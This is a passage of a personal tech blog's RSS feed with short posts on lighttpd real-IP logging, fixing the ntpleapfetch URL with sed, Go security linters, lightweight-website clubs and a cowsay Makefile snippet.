  1442. (<a href="https://hachyderm.io/@evacide/113451271143994660" title="evacide: &quot;I&#39;m seeing a lot of bad digital security advice o…&quot; - Hachyderm.io">via</a>)
  1443. </p>
  1444. ]]></description>
  1445.    <content:encoded><![CDATA[<p>
  1446. The <a href="https://www.eff.org/" title="Electronic Frontier Foundation | Defending your rights in the digital world">Electronic Frontier Foundation</a> provides the <a href="https://ssd.eff.org/" title="Surveillance Self-Defense">Surveillance Self-Defense</a> guide.
  1447. </p>
  1448. <p>
  1449. When talking about security it is important to known what you want to protect.<br>
  1450. The <a href="https://ssd.eff.org/module/your-security-plan" title="Your Security Plan | Surveillance Self-Defense">Your Security Plan</a> module of the guide covers this topic and is a good starting point.
  1451. </p>
  1452. <p>
  1453. (<a href="https://hachyderm.io/@evacide/113451271143994660" title="evacide: &quot;I&#39;m seeing a lot of bad digital security advice o…&quot; - Hachyderm.io">via</a>)
  1454. </p>
  1455. ]]></content:encoded>
  1456.  </item>
  1457.  
  1458.  <item>
  1459.    <title>Go Turns 15</title>
  1460.    <link>https://blog.x-way.org/Coding/2024/11/12/Go-Turns-15.html</link>
  1461.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324422</guid>
  1462.    <dc:creator>Andreas Jaggi</dc:creator>
  1463.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1464.    <pubDate>Tue, 12 Nov 2024 20:29:30 +0100</pubDate>
  1465.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  1466.    <description><![CDATA[<p>
  1467. <a href="https://go.dev/blog/15years" title="Go Turns 15 - The Go Programming Language">Happy birthday, Go!</a> 🎂
  1468. </p>
  1469. ]]></description>
  1470.    <content:encoded><![CDATA[<p>
  1471. <a href="https://go.dev/blog/15years" title="Go Turns 15 - The Go Programming Language">Happy birthday, Go!</a> 🎂
  1472. </p>
  1473. ]]></content:encoded>
  1474.  </item>
  1475.  
  1476.  <item>
  1477.    <title>Log the real IP with lighttpd</title>
  1478.    <link>https://blog.x-way.org/Linux/2024/11/11/Log-the-real-IP-with-lighttpd.html</link>
  1479.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324421</guid>
  1480.    <dc:creator>Andreas Jaggi</dc:creator>
  1481.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1482.    <pubDate>Mon, 11 Nov 2024 14:15:11 +0100</pubDate>
  1483.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  1484.    <description><![CDATA[<p>
  1485. The static pages of the blog here are served from a <a href="https://www.lighttpd.net/" title="Lighttpd - fly light">lighttpd</a> container with an <a href="https://nginx.org/" title="nginx">nginx</a> proxy in front.<br>
  1486. I was looking through the lighttpd access logs and was a bit annoyed as it showed the internal IP of the nginx proxy.
  1487. </p>
  1488. <p>
  1489. My nginx instance is already setup to forward the actual remote IP in the <code>X-Real-IP</code> header.<br>
  1490. Thus I needed to make lighttpd use the forwarded IP from the header in the access logs.<br>
  1491. This can be achieved with the <a href="https://redmine.lighttpd.net/projects/lighttpd/wiki/Mod_extforward" title="Mod extforward - Lighttpd - lighty labs">extforward module</a> using the following configuration snippet:
  1492. </p>
  1493. <pre>server.modules += ("mod_extforward")
  1494. extforward.headers = ("X-Real-IP")
  1495. extforward.forwarder = ("10.111.0.0/16" =&gt; "trust")</pre>
  1496. <p>
  1497. With this config, lighttpd uses the <code>X-Real-IP</code> in the access logs.<br>
  1498. The override is only performed when the connection comes from the 10.111.0.0/16 subnet.
  1499. Which prevents remote IP spoofing via injected/faked headers.<br>
  1500. (the 10.111.0.0/16 subnet is my internal container network where nginx is running)
  1501. </p>
  1502. ]]></description>
  1503.    <content:encoded><![CDATA[<p>
  1504. The static pages of the blog here are served from a <a href="https://www.lighttpd.net/" title="Lighttpd - fly light">lighttpd</a> container with an <a href="https://nginx.org/" title="nginx">nginx</a> proxy in front.<br>
  1505. I was looking through the lighttpd access logs and was a bit annoyed as it showed the internal IP of the nginx proxy.
  1506. </p>
  1507. <p>
  1508. My nginx instance is already setup to forward the actual remote IP in the <code>X-Real-IP</code> header.<br>
  1509. Thus I needed to make lighttpd use the forwarded IP from the header in the access logs.<br>
  1510. This can be achieved with the <a href="https://redmine.lighttpd.net/projects/lighttpd/wiki/Mod_extforward" title="Mod extforward - Lighttpd - lighty labs">extforward module</a> using the following configuration snippet:
  1511. </p>
  1512. <pre>server.modules += ("mod_extforward")
  1513. extforward.headers = ("X-Real-IP")
  1514. extforward.forwarder = ("10.111.0.0/16" =&gt; "trust")</pre>
  1515. <p>
  1516. With this config, lighttpd uses the <code>X-Real-IP</code> in the access logs.<br>
  1517. The override is only performed when the connection comes from the 10.111.0.0/16 subnet.
  1518. Which prevents remote IP spoofing via injected/faked headers.<br>
  1519. (the 10.111.0.0/16 subnet is my internal container network where nginx is running)
  1520. </p>
  1521. ]]></content:encoded>
  1522.  </item>
  1523.  
  1524.  <item>
  1525.    <title>Fix URL used by ntpleapfetch</title>
  1526.    <link>https://blog.x-way.org/Linux/2024/11/10/Fix-URL-used-by-ntpleapfetch.html</link>
  1527.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324420</guid>
  1528.    <dc:creator>Andreas Jaggi</dc:creator>
  1529.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1530.    <pubDate>Sun, 10 Nov 2024 19:46:29 +0100</pubDate>
  1531.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  1532.    <description><![CDATA[<p>
  1533. The other morning I was greeted by a mailbox full of messages from failed cronjobs.<br>
  1534. The reported error message was:
  1535. </p>
  1536. <pre>&lt;28&gt;Nov  7 02:51:02 ntpleapfetch[3253838]: Download from https://www.ietf.org/timezones/data/leap-seconds.list failed after 6 attempts
  1537. --2024-11-07 02:51:02--  https://www.ietf.org/timezones/data/leap-seconds.list
  1538. Resolving www.ietf.org (www.ietf.org)... 2606:4700::6810:2d63, 2606:4700::6810:2c63, 104.16.45.99, ...
  1539. Connecting to www.ietf.org (www.ietf.org)|2606:4700::6810:2d63|:443... connected.
  1540. HTTP request sent, awaiting response... 404 Not Found
  1541. 2024-11-07 02:51:02 ERROR 404: Not Found.</pre>
  1542. <p>
  1543. The failing cronjobs were weekly invocations of <a href="https://docs.ntpsec.org/latest/ntpleapfetch.html" title="ntpleapfetch - fetch and manage local leapfile">ntpleapfetch</a> to get the latest list of leap seconds.
  1544. </p>
  1545. <p>
  1546. After some research I found out that indeed the URL returns a 404 and that there was no newer version of the Debian package available to try.<br>
  1547. Also the bugtracker didn't show anyone else dealing with this problem.
  1548. </p>
  1549. <p>
  1550. Thus I started looking at the source code of ntpsec
  1551. (which provides the ntpleapsec script).<br>
  1552. I found a commit with the promising title of <a href="https://gitlab.com/NTPsec/ntpsec/-/commit/7c13df80c896cc201afd6aa9c758fc3103fad818" title="Fix URL used by ntpleapfetch (7c13df80) · Commits · NTPsec / ntpsec · GitLab">Fix URL used by ntpleapfetch</a>.
  1553.  
  1554. </p>
  1555. <p>
  1556. This commit corrects the URL used for downloading the leap seconds list in the script.<br>
  1557. Later I also found a corresponding <a href="https://lists.ntpsec.org/pipermail/users/2024-November/000527.html" title="ntpleapfetch script - IETF link now dead">message in the ntpsec users mailing list</a>.
  1558. </p>
  1559. <p>
  1560. For my Debian systems there is no updated package with the new URL available yet.<br>
  1561. Thus I used the following one-liner to directly fix the ntpleapfetch script.
  1562. </p>
  1563. <pre>sed -i -e 's_^LEAPSRC="https://.*"_LEAPSRC="https://data.iana.org/time-zones/tzdb/leap-seconds.list"_' /usr/sbin/ntpleapfetch</pre>
  1564. ]]></description>
  1565.    <content:encoded><![CDATA[<p>
  1566. The other morning I was greeted by a mailbox full of messages from failed cronjobs.<br>
  1567. The reported error message was:
  1568. </p>
  1569. <pre>&lt;28&gt;Nov  7 02:51:02 ntpleapfetch[3253838]: Download from https://www.ietf.org/timezones/data/leap-seconds.list failed after 6 attempts
  1570. --2024-11-07 02:51:02--  https://www.ietf.org/timezones/data/leap-seconds.list
  1571. Resolving www.ietf.org (www.ietf.org)... 2606:4700::6810:2d63, 2606:4700::6810:2c63, 104.16.45.99, ...
  1572. Connecting to www.ietf.org (www.ietf.org)|2606:4700::6810:2d63|:443... connected.
  1573. HTTP request sent, awaiting response... 404 Not Found
  1574. 2024-11-07 02:51:02 ERROR 404: Not Found.</pre>
  1575. <p>
  1576. The failing cronjobs were weekly invocations of <a href="https://docs.ntpsec.org/latest/ntpleapfetch.html" title="ntpleapfetch - fetch and manage local leapfile">ntpleapfetch</a> to get the latest list of leap seconds.
  1577. </p>
  1578. <p>
  1579. After some research I found out that indeed the URL returns a 404 and that there was no newer version of the Debian package available to try.<br>
  1580. Also the bugtracker didn't show anyone else dealing with this problem.
  1581. </p>
  1582. <p>
  1583. Thus I started looking at the source code of ntpsec
  1584. (which provides the ntpleapsec script).<br>
  1585. I found a commit with the promising title of <a href="https://gitlab.com/NTPsec/ntpsec/-/commit/7c13df80c896cc201afd6aa9c758fc3103fad818" title="Fix URL used by ntpleapfetch (7c13df80) · Commits · NTPsec / ntpsec · GitLab">Fix URL used by ntpleapfetch</a>.
  1586.  
  1587. </p>
  1588. <p>
  1589. This commit corrects the URL used for downloading the leap seconds list in the script.<br>
  1590. Later I also found a corresponding <a href="https://lists.ntpsec.org/pipermail/users/2024-November/000527.html" title="ntpleapfetch script - IETF link now dead">message in the ntpsec users mailing list</a>.
  1591. </p>
  1592. <p>
  1593. For my Debian systems there is no updated package with the new URL available yet.<br>
  1594. Thus I used the following one-liner to directly fix the ntpleapfetch script.
  1595. </p>
  1596. <pre>sed -i -e 's_^LEAPSRC="https://.*"_LEAPSRC="https://data.iana.org/time-zones/tzdb/leap-seconds.list"_' /usr/sbin/ntpleapfetch</pre>
  1597. ]]></content:encoded>
  1598.  </item>
  1599.  
  1600.  <item>
  1601.    <title>Tools for writing secure Go code</title>
  1602.    <link>https://blog.x-way.org/Coding/2024/11/06/Tools-for-writing-secure-Go-code.html</link>
  1603.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324419</guid>
  1604.    <dc:creator>Andreas Jaggi</dc:creator>
  1605.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1606.    <pubDate>Wed, 06 Nov 2024 00:18:24 +0100</pubDate>
  1607.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  1608.    <description><![CDATA[<p>
  1609. In his <a href="https://jarosz.dev/article/writing-secure-go-code/" title="Writing secure Go code | Jakub Jarosz">writing secure Go code</a> article, Jakub Jarosz lists tools that help with writing secure Go code.<br>
  1610. The article lists the tools and for each of them explains what it does and how it contributes to writing secure Go code.
  1611. </p>
  1612. <p>
  1613. The following tools are covered:
  1614. </p>
  1615. <ul>
  1616. <li><code>go vet</code></li>
  1617. <li><code>staticcheck</code></li>
  1618. <li><code>golangci-lint</code></li>
  1619. <li><code>go test -race</code></li>
  1620. <li><code>govulncheck</code></li>
  1621. <li><code>gosec</code></li>
  1622. </ul>
  1623. <p>
  1624. An interesting learning for me whas that <code>govulncheck</code> can not only be used to analyze source code, but also to analyze existing binaries.<br>
  1625. And there it scans the used libraries for vulnerabilities and wether the vulnerable code paths are actually invoked by the code in the binary.
  1626. </p>
  1627. <p>
  1628. In the build pipelines of my Go programs, some of these tools are already used.<br>
  1629. Room for improvement exists when it comes to using the <code>govulncheck</code> and <code>gosec</code> tools.<br>
  1630. Another lonely winter weekend task :-)
  1631. </p>
  1632. ]]></description>
  1633.    <content:encoded><![CDATA[<p>
  1634. In his <a href="https://jarosz.dev/article/writing-secure-go-code/" title="Writing secure Go code | Jakub Jarosz">writing secure Go code</a> article, Jakub Jarosz lists tools that help with writing secure Go code.<br>
  1635. The article lists the tools and for each of them explains what it does and how it contributes to writing secure Go code.
  1636. </p>
  1637. <p>
  1638. The following tools are covered:
  1639. </p>
  1640. <ul>
  1641. <li><code>go vet</code></li>
  1642. <li><code>staticcheck</code></li>
  1643. <li><code>golangci-lint</code></li>
  1644. <li><code>go test -race</code></li>
  1645. <li><code>govulncheck</code></li>
  1646. <li><code>gosec</code></li>
  1647. </ul>
  1648. <p>
  1649. An interesting learning for me whas that <code>govulncheck</code> can not only be used to analyze source code, but also to analyze existing binaries.<br>
  1650. And there it scans the used libraries for vulnerabilities and wether the vulnerable code paths are actually invoked by the code in the binary.
  1651. </p>
  1652. <p>
  1653. In the build pipelines of my Go programs, some of these tools are already used.<br>
  1654. Room for improvement exists when it comes to using the <code>govulncheck</code> and <code>gosec</code> tools.<br>
  1655. Another lonely winter weekend task :-)
  1656. </p>
  1657. ]]></content:encoded>
  1658.  </item>
  1659.  
  1660.  <item>
  1661.    <title>Please publish and share more</title>
  1662.    <link>https://blog.x-way.org/Misc/2024/11/03/Please-publish-and-share-more.html</link>
  1663.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324418</guid>
  1664.    <dc:creator>Andreas Jaggi</dc:creator>
  1665.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1666.    <pubDate>Sun, 03 Nov 2024 10:54:36 +0100</pubDate>
  1667.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  1668.    <description><![CDATA[<p>
  1669. <a href="https://micro.webology.dev/2024/11/02/please-publish-and.html" title="Please publish and share more - Jiff Triplett's Micro.blog">Please publish and share more</a> from Jeff Triplett. (<a href="https://simonwillison.net/2024/Nov/2/please-publish-and-share-more/" title="Please publish and share more | Simon Willisons's Weblog">via</a>)
  1670. </p>
  1671. <blockquote cite="https://micro.webology.dev/2024/11/02/please-publish-and.html">
  1672. Friends, I encourage you to publish more, indirectly meaning you should write more and then share it.
  1673. </blockquote>
  1674. <blockquote cite="https://micro.webology.dev/2024/11/02/please-publish-and.html">
  1675. You don’t have to change the world with every post. You might publish a quick thought or two that helps encourage someone else to try something new, listen to a new song, or binge-watch a new series.
  1676. </blockquote>
  1677. <blockquote cite="https://micro.webology.dev/2024/11/02/please-publish-and.html">
  1678. Our posts are done when you say they are. You do not have to fret about sticking to landing and having a perfect conclusion. Your posts, like this post, are done after we stop writing.
  1679. </blockquote>
  1680. <p>
  1681. Reminds me that I should setup some <a href="https://indieweb.org/POSSE" title="Publish (on your) Own Site, Syndicate Elsewhere">POSSE</a> mechanism for the blog.<br>
  1682. Maybe during one of the grey and cold weekends this winter :-)
  1683. </p>
  1684. ]]></description>
  1685.    <content:encoded><![CDATA[<p>
  1686. <a href="https://micro.webology.dev/2024/11/02/please-publish-and.html" title="Please publish and share more - Jiff Triplett's Micro.blog">Please publish and share more</a> from Jeff Triplett. (<a href="https://simonwillison.net/2024/Nov/2/please-publish-and-share-more/" title="Please publish and share more | Simon Willisons's Weblog">via</a>)
  1687. </p>
  1688. <blockquote cite="https://micro.webology.dev/2024/11/02/please-publish-and.html">
  1689. Friends, I encourage you to publish more, indirectly meaning you should write more and then share it.
  1690. </blockquote>
  1691. <blockquote cite="https://micro.webology.dev/2024/11/02/please-publish-and.html">
  1692. You don’t have to change the world with every post. You might publish a quick thought or two that helps encourage someone else to try something new, listen to a new song, or binge-watch a new series.
  1693. </blockquote>
  1694. <blockquote cite="https://micro.webology.dev/2024/11/02/please-publish-and.html">
  1695. Our posts are done when you say they are. You do not have to fret about sticking to landing and having a perfect conclusion. Your posts, like this post, are done after we stop writing.
  1696. </blockquote>
  1697. <p>
  1698. Reminds me that I should setup some <a href="https://indieweb.org/POSSE" title="Publish (on your) Own Site, Syndicate Elsewhere">POSSE</a> mechanism for the blog.<br>
  1699. Maybe during one of the grey and cold weekends this winter :-)
  1700. </p>
  1701. ]]></content:encoded>
  1702.  </item>
  1703.  
  1704.  <item>
  1705.    <title>Missing watch command on macOS</title>
  1706.    <link>https://blog.x-way.org/Mac/2024/11/02/Missing-watch-command-on-macOS.html</link>
  1707.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324417</guid>
  1708.    <dc:creator>Andreas Jaggi</dc:creator>
  1709.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1710.    <pubDate>Sat, 02 Nov 2024 16:21:30 +0100</pubDate>
  1711.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  1712.    <description><![CDATA[<p>
  1713. I wanted to see the output of a program repeatedly with the <kbd>watch</kbd> command.<br>
  1714. To my surprise this failed on my macOS laptop with the following error:
  1715. </p>
  1716. <pre>% watch ipaddr
  1717. zsh: command not found: watch</pre>
  1718. <p>
  1719. Turns out that macOS does not have the <kbd>watch</kbd> command installed by default.
  1720. </p>
  1721. <pre>% which watch
  1722. watch not found</pre>
  1723. <p>
  1724. Thankfully this can be fixed easily by using homebrew to install the watch binary:
  1725. </p>
  1726. <pre>% brew install watch</pre>
  1727. ]]></description>
  1728.    <content:encoded><![CDATA[<p>
  1729. I wanted to see the output of a program repeatedly with the <kbd>watch</kbd> command.<br>
  1730. To my surprise this failed on my macOS laptop with the following error:
  1731. </p>
  1732. <pre>% watch ipaddr
  1733. zsh: command not found: watch</pre>
  1734. <p>
  1735. Turns out that macOS does not have the <kbd>watch</kbd> command installed by default.
  1736. </p>
  1737. <pre>% which watch
  1738. watch not found</pre>
  1739. <p>
  1740. Thankfully this can be fixed easily by using homebrew to install the watch binary:
  1741. </p>
  1742. <pre>% brew install watch</pre>
  1743. ]]></content:encoded>
  1744.  </item>
  1745.  
  1746.  <item>
  1747.    <title>SlackSecOps - delegating remediation to employees</title>
  1748.    <link>https://blog.x-way.org/Misc/2024/11/01/SlackSecOps-delegating-remediation-to-employees.html</link>
  1749.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324416</guid>
  1750.    <dc:creator>Andreas Jaggi</dc:creator>
  1751.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1752.    <pubDate>Fri, 01 Nov 2024 16:05:10 +0100</pubDate>
  1753.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  1754.    <description><![CDATA[<p>
  1755. In the <a href="https://mayakaczorowski.com/blogs/slacksecops" title="Delegating security remediation to employees via Slack">Delegating security remediation to employees via Slack</a> article, <a href="https://mayakaczorowski.com/" title="Maya Kaczorowski">Maya Kaczorowski</a> coins the term SlackSecOps to describe automation and delegation of security tasks to employees.<br>
  1756. The article gives a nice overview of some ideas that are more and more applied by security teams and tools.
  1757. </p>
  1758. <p>
  1759. A couple years ago such ideas were mostly custom built bots/automations at larger companies, but not shared more widely.<br>
  1760. Nowadays there seems to be a much broader adoption of these in companies, especially the Alert and Remind categories.<br>
  1761. The most interesting ones are Delegation and Respond, which I would claim also can have the most impact.
  1762. </p>
  1763. <p>
  1764. By delegating security remediation tasks directly to the involved persons, the handling of the task becomes more efficient as all the context is available.<br>
  1765. And then by providing the automation to the delegee to directly perform the remediation in self-service, this critically shortens the response cycle.<br>
  1766. With the shortened response cycle, the exposure window of a vulnerable configuration is minimized, which reduces the risk of exploitation.
  1767. </p>
  1768. <p>
  1769. <img src="https://blog.x-way.org/images/slacksecops.png" width="584" height="581" alt="The four categories of security interactions via Slack: Remind, Alert, Delegate, Respond" />
  1770. </p>
  1771. ]]></description>
  1772.    <content:encoded><![CDATA[<p>
  1773. In the <a href="https://mayakaczorowski.com/blogs/slacksecops" title="Delegating security remediation to employees via Slack">Delegating security remediation to employees via Slack</a> article, <a href="https://mayakaczorowski.com/" title="Maya Kaczorowski">Maya Kaczorowski</a> coins the term SlackSecOps to describe automation and delegation of security tasks to employees.<br>
  1774. The article gives a nice overview of some ideas that are more and more applied by security teams and tools.
  1775. </p>
  1776. <p>
  1777. A couple years ago such ideas were mostly custom built bots/automations at larger companies, but not shared more widely.<br>
  1778. Nowadays there seems to be a much broader adoption of these in companies, especially the Alert and Remind categories.<br>
  1779. The most interesting ones are Delegation and Respond, which I would claim also can have the most impact.
  1780. </p>
  1781. <p>
  1782. By delegating security remediation tasks directly to the involved persons, the handling of the task becomes more efficient as all the context is available.<br>
  1783. And then by providing the automation to the delegee to directly perform the remediation in self-service, this critically shortens the response cycle.<br>
  1784. With the shortened response cycle, the exposure window of a vulnerable configuration is minimized, which reduces the risk of exploitation.
  1785. </p>
  1786. <p>
  1787. <img src="https://blog.x-way.org/images/slacksecops.png" width="584" height="581" alt="The four categories of security interactions via Slack: Remind, Alert, Delegate, Respond" />
  1788. </p>
  1789. ]]></content:encoded>
  1790.  </item>
  1791.  
  1792.  <item>
  1793.    <title>The 250KB Club</title>
  1794.    <link>https://blog.x-way.org/Misc/2024/10/31/The-250KB-Club.html</link>
  1795.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324415</guid>
  1796.    <dc:creator>Andreas Jaggi</dc:creator>
  1797.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1798.    <pubDate>Thu, 31 Oct 2024 17:44:23 +0100</pubDate>
  1799.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  1800.    <description><![CDATA[<p>
  1801. Similar to <a href="https://blog.x-way.org/Misc/2024/10/31/The-512KB-Club.html" title="x-log - The 512KB Club">the 512KB club</a>, there exists <a href="https://250kb.club/" title="The 250kb club">the 250KB club</a>.
  1802. It collects web pages that focus on performance, efficiency and accessibility.<br>
  1803. Qualifying sites must fullfil one requirement.<br>
  1804. The website must not exceed 256KB compressed size.
  1805. </p>
  1806. <p>
  1807. 256KB Club also contains very niche sites and is great to discover some new corners of the Internet.<br>
  1808. The linked pages are often minimalistic personal pages and geeky blogs.<br>
  1809. </p>
  1810. <p>
  1811. I submitted my blog for inclusion in the club, as it measures less than 250KB.<br>
  1812. It was accepted a day earlier than for the 512KB club :-)<br>
  1813. Now the blog has its own page in the club: <a href="https://250kb.club/blog-x-way-org/" title="The 250kb club">https://250kb.club/blog-x-way-org/</a>
  1814. </p>
  1815. <p>
  1816. <a title="250KB Club page" href="https://250kb.club/blog-x-way-org"><img alt="badge: proud member of the 250KB Club" src="https://blog.x-way.org/images/color_badge_bright.png" width="200" height="30" /></a>
  1817. </p>
  1818. ]]></description>
  1819.    <content:encoded><![CDATA[<p>
  1820. Similar to <a href="https://blog.x-way.org/Misc/2024/10/31/The-512KB-Club.html" title="x-log - The 512KB Club">the 512KB club</a>, there exists <a href="https://250kb.club/" title="The 250kb club">the 250KB club</a>.
  1821. It collects web pages that focus on performance, efficiency and accessibility.<br>
  1822. Qualifying sites must fullfil one requirement.<br>
  1823. The website must not exceed 256KB compressed size.
  1824. </p>
  1825. <p>
  1826. 256KB Club also contains very niche sites and is great to discover some new corners of the Internet.<br>
  1827. The linked pages are often minimalistic personal pages and geeky blogs.<br>
  1828. </p>
  1829. <p>
  1830. I submitted my blog for inclusion in the club, as it measures less than 250KB.<br>
  1831. It was accepted a day earlier than for the 512KB club :-)<br>
  1832. Now the blog has its own page in the club: <a href="https://250kb.club/blog-x-way-org/" title="The 250kb club">https://250kb.club/blog-x-way-org/</a>
  1833. </p>
  1834. <p>
  1835. <a title="250KB Club page" href="https://250kb.club/blog-x-way-org"><img alt="badge: proud member of the 250KB Club" src="https://blog.x-way.org/images/color_badge_bright.png" width="200" height="30" /></a>
  1836. </p>
  1837. ]]></content:encoded>
  1838.  </item>
  1839.  
  1840.  <item>
  1841.    <title>The 512KB Club</title>
  1842.    <link>https://blog.x-way.org/Misc/2024/10/31/The-512KB-Club.html</link>
  1843.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324414</guid>
  1844.    <dc:creator>Andreas Jaggi</dc:creator>
  1845.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1846.    <pubDate>Thu, 31 Oct 2024 16:51:35 +0100</pubDate>
  1847.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  1848.    <description><![CDATA[<p>
  1849. Some time ago I discovered the <a href="https://512kb.club/" title="512KB Club | A showcase of lightweight websites.">512KB club</a>.
  1850. It collects performance-focused websites from across the Internet.<br>
  1851. Qualifying sites must fullfil two requirements to participate.<br>
  1852. The site must provide a reasonable amount of content.<br>
  1853. And the total uncompressed web resources must not exceed 512KB.
  1854. </p>
  1855. <p>
  1856. 512KB Club is a nice resource to discover more niche sites on the Internet.<br>
  1857. Often these are handcrafted personal sites and blogs with unique content.<br>
  1858. They remind me of all the unique personal sites and blogs from before the web2.0/social-media/walled-garden time.
  1859. </p>
  1860. <p>
  1861. My blog is also very lightweight (currently clocking <a href="https://radar.cloudflare.com/scan/a327a135-e7e3-4bad-8902-c5fcb535db15/summary" title="URL Scanner | Cloudflare Radar">39.48kB on the Cloudflare URL Scanner</a>), thus I submitted it for inclusion in the list.<br>
  1862. It was accepted recently and is now listed as part of the <a href="https://512kb.club/#100" title="512KB Club | Green Team">Green Team</a> (sites smaller than 100KB).
  1863. </p>
  1864. <p>
  1865. <a href="https://512kb.club" title="a proud member of the green team of 512KB club"><img src="https://blog.x-way.org/images/green-team.svg" alt="a proud member of the green team of 512KB club" width="234" height="30" /></a>
  1866. </p>
  1867. ]]></description>
  1868.    <content:encoded><![CDATA[<p>
  1869. Some time ago I discovered the <a href="https://512kb.club/" title="512KB Club | A showcase of lightweight websites.">512KB club</a>.
  1870. It collects performance-focused websites from across the Internet.<br>
  1871. Qualifying sites must fullfil two requirements to participate.<br>
  1872. The site must provide a reasonable amount of content.<br>
  1873. And the total uncompressed web resources must not exceed 512KB.
  1874. </p>
  1875. <p>
  1876. 512KB Club is a nice resource to discover more niche sites on the Internet.<br>
  1877. Often these are handcrafted personal sites and blogs with unique content.<br>
  1878. They remind me of all the unique personal sites and blogs from before the web2.0/social-media/walled-garden time.
  1879. </p>
  1880. <p>
  1881. My blog is also very lightweight (currently clocking <a href="https://radar.cloudflare.com/scan/a327a135-e7e3-4bad-8902-c5fcb535db15/summary" title="URL Scanner | Cloudflare Radar">39.48kB on the Cloudflare URL Scanner</a>), thus I submitted it for inclusion in the list.<br>
  1882. It was accepted recently and is now listed as part of the <a href="https://512kb.club/#100" title="512KB Club | Green Team">Green Team</a> (sites smaller than 100KB).
  1883. </p>
  1884. <p>
  1885. <a href="https://512kb.club" title="a proud member of the green team of 512KB club"><img src="https://blog.x-way.org/images/green-team.svg" alt="a proud member of the green team of 512KB club" width="234" height="30" /></a>
  1886. </p>
  1887. ]]></content:encoded>
  1888.  </item>
  1889.  
  1890.  <item>
  1891.    <title>cowsay_CLENA</title>
  1892.    <link>https://blog.x-way.org/Coding/2024/10/30/cowsay-CLENA.html</link>
  1893.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324413</guid>
  1894.    <dc:creator>Andreas Jaggi</dc:creator>
  1895.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1896.    <pubDate>Wed, 30 Oct 2024 06:34:26 +0100</pubDate>
  1897.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  1898.    <description><![CDATA[<p>
  1899. Found this cute snippet in the <a href="https://github.com/numworks/epsilon/blob/master/Makefile#L163C1-L180C26" title="epsilon/Makefile - numworks/epsilon - GitHub">Makefile</a> of the <a href="https://www.numworks.com/" title="NumWorks">NumWorks</a> <a href="https://github.com/numworks/epsilon/" title="GitHub - numworks/epsilon: Modern graphing calculator operating system.">Epsilon codebase</a>.
  1900. It is a rudimentary implementation of the <a href="https://en.wikipedia.org/wiki/Cowsay" title="cowsay - Wikipedia">cowsay</a> functionality.
  1901. </p>
  1902. <p>
  1903. We also see how it is used in the <code>clena: cowsay_CLENA clean</code> part.<br>
  1904. I like how it reminds about the typo when calling the <code>clena</code> instead of the <code>clean</code> target.<br>
  1905. It gives a clear but unintrusive message about the typo, and then also does what was intented (running the <code>clean</code> target).
  1906. </p>
  1907. <pre>.PHONY: cowsay_%
  1908. cowsay_%:
  1909. @echo " -------"
  1910. @echo "| $(*F) |"
  1911. @echo " -------"
  1912. @echo "        \\   ^__^"
  1913. @echo "         \\  (oo)\\_______"
  1914. @echo "            (__)\\       )\\/\\"
  1915. @echo "                ||----w |"
  1916. @echo "                ||     ||"
  1917.  
  1918. .PHONY: clena
  1919. clena: cowsay_CLENA clean</pre>
  1920. ]]></description>
  1921.    <content:encoded><![CDATA[<p>
  1922. Found this cute snippet in the <a href="https://github.com/numworks/epsilon/blob/master/Makefile#L163C1-L180C26" title="epsilon/Makefile - numworks/epsilon - GitHub">Makefile</a> of the <a href="https://www.numworks.com/" title="NumWorks">NumWorks</a> <a href="https://github.com/numworks/epsilon/" title="GitHub - numworks/epsilon: Modern graphing calculator operating system.">Epsilon codebase</a>.
  1923. It is a rudimentary implementation of the <a href="https://en.wikipedia.org/wiki/Cowsay" title="cowsay - Wikipedia">cowsay</a> functionality.
  1924. </p>
  1925. <p>
  1926. We also see how it is used in the <code>clena: cowsay_CLENA clean</code> part.<br>
  1927. I like how it reminds about the typo when calling the <code>clena</code> instead of the <code>clean</code> target.<br>
  1928. It gives a clear but unintrusive message about the typo, and then also does what was intented (running the <code>clean</code> target).
  1929. </p>
  1930. <pre>.PHONY: cowsay_%
  1931. cowsay_%:
  1932. @echo " -------"
  1933. @echo "| $(*F) |"
  1934. @echo " -------"
  1935. @echo "        \\   ^__^"
  1936. @echo "         \\  (oo)\\_______"
  1937. @echo "            (__)\\       )\\/\\"
  1938. @echo "                ||----w |"
  1939. @echo "                ||     ||"
  1940.  
  1941. .PHONY: clena
  1942. clena: cowsay_CLENA clean</pre>
  1943. ]]></content:encoded>
  1944.  </item>
  1945.  
  1946.  <item>
  1947.    <title>Realizing Meshtastic's Promise with the T-Deck</title>
